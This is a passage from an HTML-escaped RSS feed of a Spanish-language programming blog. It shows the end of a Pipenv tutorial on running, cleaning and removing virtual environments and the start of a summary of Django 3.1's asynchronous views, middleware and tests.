style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dev-packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Locking &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;packages&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; dependencies…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Building requirements...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving dependencies...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✔ Success! &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Updated Pipfile.lock &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;65a03c&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ejecutar-comandos-en-entorno-virtual-con-pipenv&#34;&gt;Ejecutar comandos en entorno virtual con pipenv&lt;/h2&gt;&#xA;&lt;p&gt;También podemos ejecutar comandos directamente en el entorno virtual sin estar dentro. Salte del entorno virtual si estás dentro y asegurate de que el prompt haya regresado a la normalidad antes de ejecutar el siguiente comando.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv run pip install requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Loading .env environment variables…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading requests-2.24.0-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;61&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| &lt;span style=&#34;color:#ff9f43&#34;&gt;61&lt;/span&gt; kB &lt;span style=&#34;color:#ff9f43&#34;&gt;53&lt;/span&gt; kB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting idna&amp;lt;3,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading idna-2.10-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;58&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| &lt;span style=&#34;color:#ff9f43&#34;&gt;58&lt;/span&gt; kB &lt;span style=&#34;color:#ff9f43&#34;&gt;641&lt;/span&gt; kB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting chardet&amp;lt;4,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;3.0.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached chardet-3.0.4-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;133&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting certifi&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2017.4.17&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading certifi-2020.6.20-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;156&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| &lt;span style=&#34;color:#ff9f43&#34;&gt;156&lt;/span&gt; kB 6.1 MB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting urllib3!&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.25.0,!&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.25.1,&amp;lt;1.26,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.21.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached urllib3-1.25.9-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;126&lt;/span&gt; kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing collected packages: idna, chardet, certifi, urllib3, requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully installed certifi-2020.6.20 chardet-3.0.4 idna-2.10 requests-2.24.0 urllib3-1.25.9&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El comando anterior nos dejó con el paquete requests y sus dependencias instaladas en nuestro entorno virtual, sin embargo el archivo &lt;em&gt;Pipfile&lt;/em&gt; y &lt;em&gt;Pipfile.lock&lt;/em&gt; &lt;strong&gt;no se actualizaron.&lt;/strong&gt; Para borrar todos aquellos paquetes instalados que no se encuentren en los dos archivos anteriores existe &lt;em&gt;pipenv clean&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;limpiar-nuestro-entorno-virtual-en-pipenv&#34;&gt;Limpiar nuestro entorno virtual en pipenv&lt;/h2&gt;&#xA;&lt;p&gt;También podemos limpiar nuestro entorno virtual de todos aquellos paquetes que no estén especificados dentro de nuestro archivo &lt;em&gt;Pipfile.lock&lt;/em&gt; usando &lt;em&gt;clean&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv clean&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling urllib3…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling idna…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling requests…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling chardet…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uninstalling certifi…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, nuestro entorno no contiene ningún paquete instalado, sin embargo aún existe.&lt;/p&gt;&#xA;&lt;h2 id=&#34;borrar-un-entorno-virtual-en-pipenv&#34;&gt;Borrar un entorno virtual en pipenv&lt;/h2&gt;&#xA;&lt;p&gt;Para borrar un entorno virtual usaremos la opción &lt;em&gt;--rm&lt;/em&gt; seguida del comando &lt;em&gt;pipenv&lt;/em&gt;. Nota que pipenv detectará el entorno virtual a remover extrayendo la información de la carpeta donde nos encontremos, por lo que asegúrate dos veces que estás en la carpeta correcta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pipenv --rm&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Removing virtualenv &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;/home/usuario/.local/share/virtualenvs/prueba-HHqROqC2&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;…&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¡Listo! El entorno virtual ha quedado eliminado completamente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;alternativas-a-pipenv&#34;&gt;Alternativas a Pipenv&lt;/h2&gt;&#xA;&lt;p&gt;Puede que Pipenv no te convenza, probablemente prefieras probar con otro administrador de entornos virtuales.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Conda&lt;/li&gt;&#xA;&lt;li&gt;Poetry (Yo lo he usado y es bastante bueno)&lt;/li&gt;&#xA;&lt;li&gt;Hatch&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si quieres conocer más funciones de pipenv puedes visitar su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pipenv-es.readthedocs.io/es/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Desde que empecé a usar Python uso virtualenv y pip para manejar los entornos virtuales. Pero al leer &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/resena-de-django-for-professionals/&#34;&gt;Django for Professionals&lt;/a&gt;&#xA; me enteré de que existía una herramienta mejor que pip y virtualenv, llamada Pipenv (no se complicaron mucho con el nombre). Pipenv tiene características que la hacen mucho más robusta y sencilla de utilizar que virtualenv. En este tutorial de Pipenv paso a paso, te voy a explicar la instalación, uso, manejo de archivos y comandos básicos de esta herramienta.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django 3.1 cambios y novedades: resumen completo</title>
      <link>https://coffeebytes.dev/es/django/django-31-cambios-y-novedades-resumen-completo/</link>
      <pubDate>Tue, 04 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/django-31-cambios-y-novedades-resumen-completo/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hace unas horas estaba navegando por &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://twitter.com/hello_wired&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;mi twitter&lt;/a&gt;&#xA; y me enteré de que acaban de hacer públicas Django 3.1, cambios y novedades de ; mi framework para web favorito. Esta nueva versión tiene algunos cambios interesantes de los que hablaré a continuación.&lt;/p&gt;&#xA;&lt;h2 id=&#34;vistas-middleware-y-tests-asincronos&#34;&gt;Vistas, Middleware y tests asíncronos&lt;/h2&gt;&#xA;&lt;p&gt;Adivina quién más le está apostando a la asincronía. Con esta nueva actualización Django incorpora asincronismo en vistas, middleware y tests. Sin embargo el ORM de Django, la cache y otras piezas de código que se conectan con internet no tienen soporte asíncrono para esta actualización, aunque en la documentación se afirma que se añadirá soporte para versiones posteriores.&lt;/p&gt;&#xA;&lt;h3 id=&#34;vistas&#34;&gt;vistas&lt;/h3&gt;&#xA;&lt;p&gt;Django reconocerá las vistas que especifiquemos con &lt;em&gt;async def&lt;/em&gt; y se encargará de ejecutarlas en un contexto asíncrono. Para obtener los beneficios se debe usar un servidor ASGI. Por otro lado, también es posible usar un servidor WSGI pero habrá penalizaciones en el rendimiento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; datetime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.http &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;current_datetime&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    now &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; datetime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;datetime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;now()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    html &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;It is now &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;%s&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;.&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; now&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; HttpResponse(html)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;middleware&#34;&gt;middleware&lt;/h3&gt;&#xA;&lt;p&gt;Django ahora permite combinar tanto middlewares asíncronos o sincronos. De manera predeterminada Django asumirá que tus middlewares son sincronos. Para modificar este comportamiento es necesario cambiar los atributos booleanos de tu fábrica de middleware:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sync_capable (default en True)&lt;/li&gt;&#xA;&lt;li&gt;async_capable (default en False)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Django incorpora ahora tres decoradores para tus fábricas de middlewares. Además, si tu fábrica de middleware retorna un &lt;em&gt;get_response()&lt;/em&gt; asíncrono debe usarse la sintaxis adecuada; async def.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sync_only_middleware()&lt;/li&gt;&#xA;&lt;li&gt;async_only_middleware()&lt;/li&gt;&#xA;&lt;li&gt;and sync_and_async_middleware()&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; asyncio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.utils.decorators &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; sync_and_async_middleware&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@sync_and_async_middleware&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;simple_middleware&lt;/span&gt;(get_response):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# One-time configuration and initialization goes here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; asyncio&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;iscoroutinefunction(get_response):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;middleware&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#78787e&#34;&gt;# Do something here!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; get_response(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;middleware&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#78787e&#34;&gt;# Do something here!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_response(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; middleware&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;tests&#34;&gt;tests&lt;/h3&gt;&#xA;&lt;p&gt;Si estás haciendo pruebas desde una función asíncrona debes usar el cliente de test asíncrono que está disponible como &lt;em&gt;django.test.AsyncClient&lt;/em&gt;, o como &lt;em&gt;self.async_client.&lt;/em&gt; Este nuevo cliente &lt;em&gt;AsyncClient&lt;/em&gt; tiene los mismos métodos que el cliente normal de testeo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span 